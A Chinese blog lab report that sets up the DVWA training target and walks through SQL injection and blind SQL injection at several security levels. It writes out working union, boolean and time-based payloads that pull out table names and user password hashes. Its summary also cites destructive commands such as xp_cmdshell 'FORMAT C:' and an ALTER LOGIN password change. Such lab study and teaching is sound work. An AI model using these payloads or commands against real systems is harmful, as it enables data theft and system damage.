（Windows10、XAMPP3.2.2、DVWA）搭建DVWA靶场&SQL注入&SQL盲注入

悠悠 2022-12-04 07:38 192阅读 0赞

**目录**

一、任务内容

二、任务目的

三、参考方法

四、实验过程

4.1 了解SQL注入原理

4.2 Windows搭建dvwa环境

4.3 SQL注入实验过程

4.3.1 Low等级

4.3.2 Medium等级

4.3.3 High等级

4.3.4 Impossible等级

4.4 SQL盲注入实验过程

4.4.1 Low级别

4.4.2 Midium级别

4.4.3 High级别

4.4.4 Impossible级别

五、实验总结

参考链接：

--------------------

**任务1：熟悉SQL注入原理，体验SQL注入过程**

# **一、任务内容** #

查阅资料了解SQL注入原理与方法，根据自己的实际情况开展不同层次级别的SQL注入过程体验，最低层次级别是基于SQL注入的绕过身份验证（俗称“万能密码”），最高层次级别是获取数据库表中存储的数据或利用SQL注入攻击数据库系统所在主机

# **二、任务目的** #

感受SQL注入的危害，体验Web应用安全，思考软件开发过程中如何避免SQL注入漏洞

# **三、参考方法** #

搭建简单的Web系统，或基于DVWA、SQLI labs、WebGoat或其它开源平台搭建靶场；手工方式或利用SQL注入工具软件，针对自建Web系统或靶场，实施SQL注入

# **四、实验过程** #

## **4.1 了解SQL注入原理** ##

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。

根据相关技术原理，SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致地过滤，从而执行了非法的数据查询。基于此，SQL注入的产生原因通常表现在以下几方面：①不当的类型处理；②不安全的数据库配置；③不合理的查询集处理；④不当的错误处理；⑤转义字符处理不合适；⑥多个提交处理不当。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70][] 图4.1 SQL注入原理

## **4.2 Windows搭建dvwa环境** ##

从[https://www.apachefriends.org/zh\_cn/download.html][https_www.apachefriends.org_zh_cn_download.html]安装xampp，

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 1][]

将从[https://github.com/ethicalhack3r/DVWA][https_github.com_ethicalhack3r_DVWA]下载的dvwa压缩包解压，并将DVWA目录拷贝到XAMPP安装目录下的\\xampp\\htdocs目录下。

![20200906124337174.png][]

在\\xampp\\htdocs\\dvwa\\config里面将config.inc.php.dist去掉.dist后缀，修改“xampp\\htdocs\\dvwa\\config\\config.inc.php”里面连接MySQL数据库的密码、端口（xampp默认MySQL用户名密码是root/root，默认端口是3306）

![20200906124353932.png][]

启动xampp的Apache和MySQL服务

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 2][]

通过浏览器访问dvwa所在主机访问的地址为[http://127.0.0.1/dvwa][http_127.0.0.1_dvwa]进入dvwa的web安装界面见下图。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 3][]

默认用户密码是【admin/password】登录后可见到界面如下图所示，左侧列表列出了dvwa所支持的漏洞种类，共10种，【DVWA Security】中可以设置dvwa的漏洞级别，有【Low、Medium、High、Impossible】四个级别。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 4][]

## **4.3 SQL注入实验过程** ##

### **4.3.1 Low等级** ###

首先将安全等级设置为Low。调整之后进去SQL Injection，开始实验。

![20200906125254172.png][]

1、分析源码

![20200906125259443.png][]

通过源码可以发现红框标注处存在SQL注入点，注入类型是字符型，并且该等级下没有任何防御措施。

2、注入过程

（1）判断是否存在注入点

![202009061253048.png][]

（2）判断SQL注入的字段数

![20200906125316152.png][]

![20200906125942486.png][]

![20200906125950870.png][]

说明字段数是2。

（3）查看回显位置

![20200906125956333.png][]

我们都知道，select语句在指明要查询的内容属性（如select id）后，要加from指明是从哪个数据库表中获得数据，在数据库环境中我们一般会先写一句use xxxdatabase，之后写select from语句直接加当前数据库中的表名就可以了。如果我们没有声明使用哪个数据库，也可以直接写 select xxxx from security.users（假设要从security数据库的users表中获取数据）。而select直接加数字串时，可以不写后面的表名，那么它输出的内容就是我们select后的数字，这时我们写的一串数字就是一个数组（或1个行向量），这时select实际上没有向任何一个数据库查询数据，即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组，这时它是个1行n列的表，表的属性名和值都是我们输入的数组

（4）查看数据库名

![20200906130001601.png][]

得知数据库名为dvwa

（5）查看数据库中的表名

![20200906130006324.png][]

（6）查看某个数据表的列名

![2020090613001258.png][]

（7）查看数据

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 5][]

（8）md5碰撞

密码都是md5运算过的，以pablo用户为例，在线获得真实密码。

![20200906130022185.png][]

### **4.3.2 Medium等级** ###

1、分析源代码

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 6][]

通过源代码可以看出，在中等级别时对输入的 $id 值使用 mysql_real_eascape_string() 函数进行了处理。在PHP中，使用 mysql_real_eascape_string() 函数用来转移SQL语句中使用字符串的特殊字符。但是使用这个函数对参数进行转换是存在绕过的。只需要将攻击字转换一下编码格式即可绕过该防护函数。比如URL编码等方式。同时发现SQL语句中变成了

“WHRER user_id = “$id”

，此处变成了数字型注入，所以此处使用 mysql_real_eascape_string() 函数并没有起到防护作用。可以通过类似于

1 or 1=1

的语句来进行注入。

2、绕过方式

可以通过burpsuite工具抓包来修改请求包

（1）利用Burpsuite工具抓包

很奇怪burpsuite无法抓取ip为127.0.0.1的包，故直接在浏览器访问本机IP地址下的dvwa，可以达到一样的效果。

（2）修改数据包，判断是否存在注入点

将数据包发送到repeater，修改后send

![2020090613011760.png][]

（3）判断字段数

![20200906130125275.png][]

![20200906130134149.png][]

可以判断字段数是2

（4）查看数据库名

id=1 union select 1,database() &Submit=Submit

![20200906130156367.png][]

（5）查看数据库中的表名

由于源代码中对特殊字符进行了转义，所以在写数据库名的时候不能用’dvwa’，而应该用函数database()

id=1 union select 1, group\_concat(table\_name) from information\_schema.tables where table\_schema=database()\# &Submit=Submit

![20200906130214911.png][]

（6）查看数据库中的列名

id=1 union select 1, group\_concat(column\_name) from information\_schema.columns where table\_name=0x7573657273\# &Submit=Submit

![2020090613022793.png][]

注：users的十六进制的字符串是7573657273

![20200906130245314.png][]

（7）查看数据

id=1 union select user,password from users\#&Submit=Submit

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 7][]

### **4.3.3 High等级** ###

1、分析源代码

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 8][]

从源码可以看出，对用户的输入做了限制，只允许用户输入一个字符。

2、绕过办法

利用\#将其注释掉

3、注入过程

由于大部分注入过程于前面类似，故不再赘述

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 9][]

### **4.3.4 Impossible等级** ###

通过查看源码得知，采用PDO操作可以有效的防御SQL注入漏洞。![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 10][]

## **4.4 SQL盲注入实验过程** ##

SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

### **4.4.1 Low级别** ###

1、源码分析

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 11][]

可以看到，Low级别的代码对参数id没有做任何检查、过滤，存在明显的SQL注入漏洞，同时SQL语句查询返回的结果只有两种，‘

User ID exists in the database.

‘与‘

`User ID is MISSING from the database.`

‘，因此这里是SQL盲注漏洞。

2、注入过程

（1）判断是否存在注入，注入是字符型还是数字型

输入1，显示相应用户存在：

![20200906130448484.png][]

输入1' and 1=2 \#，显示不存在：

![20200906130454197.png][]

输入1' and 1=1 \#，显示存在：

![20200906130458784.png][]

说明存在字符型的SQL盲注。

（2）猜解当前数据库名

想要猜解数据库名，首先要猜解数据库名的长度，然后挨个猜解字符。

输入1' and length(database())=2 \#，显示不存在；

![2020090613051135.png][]

输入1' and length(database())=3 \#，显示不存在；

![20200906130522916.png][]

输入1' and length(database())=4 \#，显示存在；

![20200906130531378.png][]

说明数据库名长度为4。

下面采用二分法猜解数据库名。

输入1' and ascii(substr(database(),1,1))>97 \#，显示存在，说明数据库名的第一个字符的ascii值大于97（小写字母a的ascii值）；

输入1' and ascii(substr(database(),1,1))<122 \#，显示存在，说明数据库名的第一个字符的ascii值小于122（小写字母z的ascii值）；

输入1' and ascii(substr(database(),1,1))<109 \#，显示存在，说明数据库名的第一个字符的ascii值小于109（小写字母m的ascii值）；

输入1' and ascii(substr(database(),1,1))<103 \#，显示存在，说明数据库名的第一个字符的ascii值小于103（小写字母g的ascii值）；

输入1' and ascii(substr(database(),1,1))<100 \#，显示不存在，说明数据库名的第一个字符的ascii值不小于100（小写字母d的ascii值）；

![20200906130622895.png][]

输入1' and ascii(substr(database(),1,1))>100 \#，显示不存在，说明数据库名的第一个字符的ascii值不大于100（小写字母d的ascii值）;

![20200906130640256.png][]

所以数据库名的第一个字符的ascii值为100，即小写字母d。

……以此类推，最终得到数据库名字是“dvwa”

（3）猜解数据库中的表名

首先猜解数据库中表的数量：

1' and (select count(table\_name) from information\_schema.tables where table\_schema=database())=1 \# 显示不存在

![2020090613065979.png][]

1' and (select count(table\_name) from information\_schema.tables where table\_schema=database())=2 \# 显示存在

![20200906130703435.png][]

说明数据库中共有两个表。

接着挨个猜解表名：

1' and length(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1))=1 \# 显示不存在

1' and length(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1))=2 \# 显示不存在

1' and length(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1))=9 \# 显示存在

![20200906130715291.png][]

说明第一个表名长度为9。

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>97 \# 显示存在

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<122 \# 显示存在

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<109 \# 显示存在

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<103 \# 显示不存在

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>103 \# 显示不存在

![20200906130730434.png][]

说明第一个表的名字的第一个字符为小写字母g。

……重复上述步骤，即可猜解出两个表名（guestbook、users）。

（4）猜解表中的字段名

首先猜解表中字段的数量：

1' and (select count(column\_name) from information\_schema.columns where table\_name='users')=1 \# 显示不存在

![20200906130740761.png][]

…

1' and (select count(column\_name) from information\_schema.columns where table\_name='users')=8 \# 显示存在

![20200906130748421.png][]

说明users表有8个字段。

接着挨个猜解字段名：

1' and length(substr((select column\_name from information\_schema.columns where table\_name='users' limit 0,1),1))=1 \# 显示不存在

![20200906130759834.png][]

…

1' and length(substr((select column\_name from information\_schema.columns where table\_name='users' limit 0,1),1))=7 \# 显示存在

![2020090613080966.png][]

说明users表的第一个字段为7个字符长度。

采用二分法，即可猜解出所有字段名。

（5）猜解数据

同样采用二分法，由于步骤过于繁琐，故略过。

### **4.4.2 Midium级别** ###

1、源代码分析

可以看到，Medium级别的代码利用mysql\_real\_escape\_string函数对特殊符号

\\x00,\\n,\\r,\\,’,”,\\x1a进行转义，同时前端页面设置了下拉选择表单，希望以此来控制用户的输入。

![20200906130819711.png][]

2、注入过程

虽然前端使用了下拉选择菜单，但我们依然可以通过burpsuite抓包改参数id，提交恶意构造的查询参数。

首先是基于布尔的盲注：

抓包改参数id为1 and length(database())=4 \#，显示存在，说明数据库名的长度为4个字符；

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 12][]

抓包改参数id为1 and length(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1))=9 \#，显示存在，说明数据中的第一个表名长度为9个字符；

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 13][]

抓包改参数id为1 and (select count(column\_name) from information\_schema.columns where table\_name=0x7573657273)=8 \#，（0x7573657273为users的16进制），显示存在，说明uers表有8个字段。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 14][]

然后是基于时间的盲注：

抓包改参数id为1 and if(length(database())=4,sleep(5),1) \#，明显延迟，说明数据库名的长度为4个字符。

抓包改参数id为1 and if(length(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1))=9,sleep(5),1) \#，明显延迟，说明数据中的第一个表名长度为9个字符。等了5s才出现如下界面：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 15][]

抓包改参数id为1 and if((select count(column\_name) from information\_schema.columns where table\_name=0×7573657273 )=8,sleep(5),1) \#，明显延迟，说明uers表有8个字段。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 16][]

后续步骤由于步骤太过繁琐，且原理没有什么大的变动，在此也略过。

### **4.4.3 High级别** ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 17][]

可以看到，High级别的代码利用cookie传递参数id，当SQL查询结果为空时，会执行函数sleep(seconds)，目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1，希望以此控制只输出一个结果。

虽然添加了LIMIT 1，但是我们可以通过\#将其注释掉。但由于服务器端执行sleep函数，会使得基于时间盲注的准确性受到影响，这里我们只展示基于布尔的盲注：

抓包将cookie中参数id改为1' and length(database())=4 \#，显示存在，说明数据库名的长度为4个字符；

![20200906130943349.png][]

抓包将cookie中参数id改为1' and length(substr(( select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1))=9 \#，显示存在，说明数据中的第一个表名长度为9个字符；

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 18][]

抓包将cookie中参数id改为1' and (select count(column\_name) from information\_schema.columns where table\_name=0x7573657273)=8 \#，（0x7573657273 为users的16进制），显示存在，说明uers表有8个字段。

![20200906131002209.png][]

后续步骤由于步骤太过繁琐，且原理没有什么大的变动，在此也略过。

### **4.4.4 Impossible级别** ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 19][]

可以看到，Impossible级别的代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入，Anti-CSRF token机制的加入了进一步提高了安全性。

# **五、实验总结** #

SQL注入可能造成巨大的危害：数据表中的数据外泄，例如企业及个人机密数据，账户数据，密码等。数据结构被黑客探知，得以做进一步攻击（例如SELECT \* FROM sys.tables）。数据库服务器被攻击，系统管理员账户被窜改（例如ALTER LOGIN sa WITH PASSWORD='xxxxxx'）。获取系统较高权限后，有可能得以在网页加入恶意链接、恶意代码以及Phishing等。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统（例如xp\_cmdshell "net stop iisadmin"可停止服务器的IIS服务）。黑客经由上传php简单的指令至对方之主机内，PHP之强大系统命令，可以让黑客进行全面控制系统(例如:php一句话木马)。破坏硬盘数据，瘫痪全系统（例如xp\_cmdshell "FORMAT C:"）。获取系统最高权限后，可针对企业内部的任一管理系统做大规模破坏，甚至让其企业倒闭。企业网站主页被窜改，门面尽失。

我们在开发时应注意：在设计应用程序时，完全使用参数化查询（Parameterized Query）来设计数据访问功能。在组合SQL字符串时，先针对所传入的参数加入其他字符（将单引号字符前加上转义字符）。如果使用PHP开发网页程序的话，需加入转义字符之功能（自动将所有的网页传入参数，将单引号字符前加上转义字符）。使用php开发，可写入html特殊函数，可正确阻挡XSS攻击。使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件，例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。使用SQL防注入系统。增强WAF（也称为：网站应用级入侵防御系统。英文：Web Application Firewall）的防御力

# **参考链接：** #

[https://www.jianshu.com/p/bd3238d5f012][https_www.jianshu.com_p_bd3238d5f012]

[https://juejin.im/post/5d56b641f265da03f12e565c][https_juejin.im_post_5d56b641f265da03f12e565c]

[https://www.jianshu.com/p/078df7a35671][https_www.jianshu.com_p_078df7a35671]

[https://zhuanlan.zhihu.com/p/35775773][https_zhuanlan.zhihu.com_p_35775773]

[https://zhuanlan.zhihu.com/p/66926867][https_zhuanlan.zhihu.com_p_66926867]

[https://blog.csdn.net/keylion\_/article/details/80318594][https_blog.csdn.net_keylion_article_details_80318594]

[https://blog.csdn.net/weixin\_44840696/article/details/89166154][https_blog.csdn.net_weixin_44840696_article_details_89166154]

[https://blog.csdn.net/allen\_\_0/article/details/103956777][https_blog.csdn.net_allen_0_article_details_103956777]

[https://zhuanlan.zhihu.com/p/25111306][https_zhuanlan.zhihu.com_p_25111306]

[https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5][https_zh.wikipedia.org_wiki_SQL_E6_B3_A8_E5_85_A5]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70]: /images/20221123/b867d60bd3644e389c1c91b1c8f3371f.png
[https_www.apachefriends.org_zh_cn_download.html]: https://www.apachefriends.org/zh_cn/download.html
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 1]: /images/20221123/4e2720c191914e0ab24ba473ce2ab4c1.png
[https_github.com_ethicalhack3r_DVWA]: https://github.com/ethicalhack3r/DVWA
[20200906124337174.png]: /images/20221123/1d6849900d4d43d6820b6abe1b80499f.png
[20200906124353932.png]: /images/20221123/b6fadae0fbf044cbba69c4d15b367003.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 2]: /images/20221123/b2687703d15e45cea53f46d5729ca02f.png
[http_127.0.0.1_dvwa]: http://127.0.0.1/dvwa
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 3]: /images/20221123/e429987a0e744cd494a726744e9fc8a1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 4]: /images/20221123/6c074d4cd0e848cb9c29a79068d2322e.png
[20200906125254172.png]: /images/20221123/98f7107510e5422ab023bd30baec6a6b.png
[20200906125259443.png]: /images/20221123/53e19939e1884b7b9498d4ab1c342f76.png
[202009061253048.png]: /images/20221123/63ab9b9c199a468ebe688ca45dcbef5f.png
[20200906125316152.png]: /images/20221123/066e80f90fc44869b3b8297e82dac761.png
[20200906125942486.png]: /images/20221123/948c071216b64542a87b109d0498a546.png
[20200906125950870.png]: /images/20221123/993e954ebfd64ff5bba791b09434f50d.png
[20200906125956333.png]: /images/20221123/a3f4f36389854510a15e01af9db984d7.png
[20200906130001601.png]: /images/20221123/a7a087103e4a4f5db831826bb14d75df.png
[20200906130006324.png]: /images/20221123/b0e795dccc0948e4ad297bf04ef0c49b.png
[2020090613001258.png]: /images/20221123/0f0ef190eaa64f74a6b882967c56cddc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 5]: /images/20221123/09a7f99d49a94199912765d5a25c107f.png
[20200906130022185.png]: /images/20221123/a4db06d5ea654109b496b3fda2962368.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 6]: /images/20221123/08b160b30a5d4a7b8a77735f3166e492.png
[2020090613011760.png]: /images/20221123/b6f91c11dbbd42b1a44b8d8a9a4a4eb2.png
[20200906130125275.png]: /images/20221123/b2be587dcbb64854826b60f3c4e17aee.png
[20200906130134149.png]: /images/20221123/bab1de06930a41558139c1c5ffcae1b4.png
[20200906130156367.png]: /images/20221123/2281d3c999314326b3c9b9f0275f5f92.png
[20200906130214911.png]: /images/20221123/0bb71a04a59b459284455e4bf513c14d.png
[2020090613022793.png]: /images/20221123/ff6f36cc70ac461a905da057933164b3.png
[20200906130245314.png]: /images/20221123/c1ae3131f7b34a77b845bbc9ba5fc362.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 7]: /images/20221123/8ee194576d2548d9a0c2ea6221dd9df1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 8]: /images/20221123/e52344a4a94840c486e0465397340b3a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 9]: /images/20221123/935aff9f925d48f89b5099beb8cb69c9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 10]: /images/20221123/dd4114e314c04f7a972396995098df4c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 11]: /images/20221123/2c44a5012a574282925176c0ca2d4e92.png
[20200906130448484.png]: /images/20221123/4adbed71050f4639a452a6f968c100f5.png
[20200906130454197.png]: /images/20221123/b0978c385dac4e79938729619b6df2ad.png
[20200906130458784.png]: /images/20221123/8b98ad6f7a1c41a68466e002f0d9ca89.png
[2020090613051135.png]: /images/20221123/439265b6f2ed4250ad920604f299ce69.png
[20200906130522916.png]: /images/20221123/a34485f5c9e04c3bbf6ba071ea489e96.png
[20200906130531378.png]: /images/20221123/3704554df3ee4a9b9078b9fbe1f3c1da.png
[20200906130622895.png]: /images/20221123/ebe1276aa66f4442ba7e840fe759314e.png
[20200906130640256.png]: /images/20221123/c857746bf9e94bb98c89fe187b82f84b.png
[2020090613065979.png]: /images/20221123/2accd89edabd436ca2ed670e090411e2.png
[20200906130703435.png]: /images/20221123/98ce5bad250147a3bbedc8ce52834f98.png
[20200906130715291.png]: /images/20221123/e5a1abc4d23e4a5f9cc214004f45e276.png
[20200906130730434.png]: /images/20221123/ec6d9e7206424b43b61bec2befc01c63.png
[20200906130740761.png]: /images/20221123/92ee6545acd443ea883cb3415d808b48.png
[20200906130748421.png]: /images/20221123/6a27a9cbe969459eaee7d30811378908.png
[20200906130759834.png]: /images/20221123/52311f8b595549b0a469ae503036e700.png
[2020090613080966.png]: /images/20221123/c233bdcda90d40479fdb43e4cd41f335.png
[20200906130819711.png]: /images/20221123/156613a2dc194fe0aa3f6235e2a904fb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 12]: /images/20221123/0f95be9b8f99411a911110026431fe45.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 13]: /images/20221123/876fa3ce15de485eaa943e278998a5e3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 14]: /images/20221123/a87e4a69e7994da99b9979d2b0468ca4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 15]: /images/20221123/d5d86e146e874af0877feff7297c2e9d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 16]: /images/20221123/2c6792477f4c4d618766184c204cb0a5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 17]: /images/20221123/509f101953c74e3b80e2ca97b3ffd56f.png
[20200906130943349.png]: /images/20221123/1f7f474473c34cb98f644d67fd7700bb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 18]: /images/20221123/38580bbbb571432bad7e4c2554149a71.png
[20200906131002209.png]: /images/20221123/31c1f9810acc4dd59de3759c08a897d6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 19]: /images/20221123/f1e0eb64e5be482195a74554cc470941.png
[https_www.jianshu.com_p_bd3238d5f012]: https://www.jianshu.com/p/bd3238d5f012
[https_juejin.im_post_5d56b641f265da03f12e565c]: https://juejin.im/post/5d56b641f265da03f12e565c
[https_www.jianshu.com_p_078df7a35671]: https://www.jianshu.com/p/078df7a35671
[https_zhuanlan.zhihu.com_p_35775773]: https://zhuanlan.zhihu.com/p/35775773
[https_zhuanlan.zhihu.com_p_66926867]: https://zhuanlan.zhihu.com/p/66926867
[https_blog.csdn.net_keylion_article_details_80318594]: https://blog.csdn.net/keylion_/article/details/80318594
[https_blog.csdn.net_weixin_44840696_article_details_89166154]: https://blog.csdn.net/weixin_44840696/article/details/89166154
[https_blog.csdn.net_allen_0_article_details_103956777]: https://blog.csdn.net/allen__0/article/details/103956777
[https_zhuanlan.zhihu.com_p_25111306]: https://zhuanlan.zhihu.com/p/25111306
[https_zh.wikipedia.org_wiki_SQL_E6_B3_A8_E5_85_A5]: https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5